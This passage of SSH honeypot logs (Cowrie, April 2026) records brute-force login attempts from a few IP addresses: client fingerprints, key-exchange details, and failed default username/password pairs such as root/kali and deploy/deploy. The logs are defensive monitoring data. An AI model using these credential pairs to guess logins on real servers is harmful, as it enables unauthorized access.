0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:25.210046Z","src_ip":"176.65.139.95","session":"fb0e7e59ead6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:25.657228Z","src_ip":"192.109.200.78","session":"33fdde4b51ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:25.716736Z","src_ip":"176.65.139.95","session":"fb0e7e59ead6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:26.815454Z","src_ip":"176.65.139.95","session":"fb0e7e59ead6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42202,"dst_ip":"159.203.135.109","dst_port":22,"session":"83fca5b31240","protocol":"ssh","message":"New connection: 192.109.200.78:42202 (159.203.135.109:22) [session: 83fca5b31240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:28.141614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:28.145630Z","src_ip":"192.109.200.78","session":"83fca5b31240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:28.228021Z","src_ip":"192.109.200.78","session":"83fca5b31240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:28.697429Z","src_ip":"192.109.200.78","session":"83fca5b31240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:29.782667Z","src_ip":"192.109.200.78","session":"83fca5b31240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44214,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6b5bd7e6848","protocol":"ssh","message":"New connection: 176.65.139.95:44214 (159.203.135.109:22) [session: b6b5bd7e6848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:31.590562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:31.595248Z","src_ip":"176.65.139.95","session":"b6b5bd7e6848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:31.677899Z","src_ip":"176.65.139.95","session":"b6b5bd7e6848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:31.933073Z","src_ip":"176.65.139.95","session":"b6b5bd7e6848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42218,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c215575276e","protocol":"ssh","message":"New connection: 192.109.200.78:42218 (159.203.135.109:22) [session: 1c215575276e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:32.284260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:32.293305Z","src_ip":"192.109.200.78","session":"1c215575276e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:32.378051Z","src_ip":"192.109.200.78","session":"1c215575276e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:32.629360Z","src_ip":"192.109.200.78","session":"1c215575276e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:33.068653Z","src_ip":"176.65.139.95","session":"b6b5bd7e6848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:33.716781Z","src_ip":"192.109.200.78","session":"1c215575276e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42244,"dst_ip":"159.203.135.109","dst_port":22,"session":"1acb5118c9f0","protocol":"ssh","message":"New connection: 192.109.200.78:42244 (159.203.135.109:22) [session: 1acb5118c9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:36.217470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:36.222286Z","src_ip":"192.109.200.78","session":"1acb5118c9f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:36.307259Z","src_ip":"192.109.200.78","session":"1acb5118c9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:36.556910Z","src_ip":"192.109.200.78","session":"1acb5118c9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:37.649558Z","src_ip":"192.109.200.78","session":"1acb5118c9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44228,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfdf2bb5d54c","protocol":"ssh","message":"New connection: 176.65.139.95:44228 (159.203.135.109:22) [session: dfdf2bb5d54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:38.144382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:38.151098Z","src_ip":"176.65.139.95","session":"dfdf2bb5d54c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:38.227236Z","src_ip":"176.65.139.95","session":"dfdf2bb5d54c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:38.574660Z","src_ip":"176.65.139.95","session":"dfdf2bb5d54c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:39.659728Z","src_ip":"176.65.139.95","session":"dfdf2bb5d54c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45626,"dst_ip":"159.203.135.109","dst_port":22,"session":"64333993cd5c","protocol":"ssh","message":"New connection: 192.109.200.78:45626 (159.203.135.109:22) [session: 64333993cd5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:40.393926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:40.398555Z","src_ip":"192.109.200.78","session":"64333993cd5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:40.480942Z","src_ip":"192.109.200.78","session":"64333993cd5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:40.732367Z","src_ip":"192.109.200.78","session":"64333993cd5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:41.857046Z","src_ip":"192.109.200.78","session":"64333993cd5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33100,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ec0e87d91f2","protocol":"ssh","message":"New connection: 159.203.92.129:33100 (159.203.135.109:22) [session: 3ec0e87d91f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.256799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.261843Z","src_ip":"159.203.92.129","session":"3ec0e87d91f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.267192Z","src_ip":"159.203.92.129","session":"3ec0e87d91f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MIS","password":"MIS","message":"login attempt [MIS/MIS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.279668Z","src_ip":"159.203.92.129","session":"3ec0e87d91f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45636,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c79c78be7e","protocol":"ssh","message":"New connection: 192.109.200.78:45636 (159.203.135.109:22) [session: 79c79c78be7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.704617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.710038Z","src_ip":"192.109.200.78","session":"79c79c78be7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.792513Z","src_ip":"192.109.200.78","session":"79c79c78be7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44812,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a1005fe11ad","protocol":"ssh","message":"New connection: 176.65.139.95:44812 (159.203.135.109:22) [session: 1a1005fe11ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.969539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:44.976975Z","src_ip":"176.65.139.95","session":"1a1005fe11ad","protocol":"ssh"}
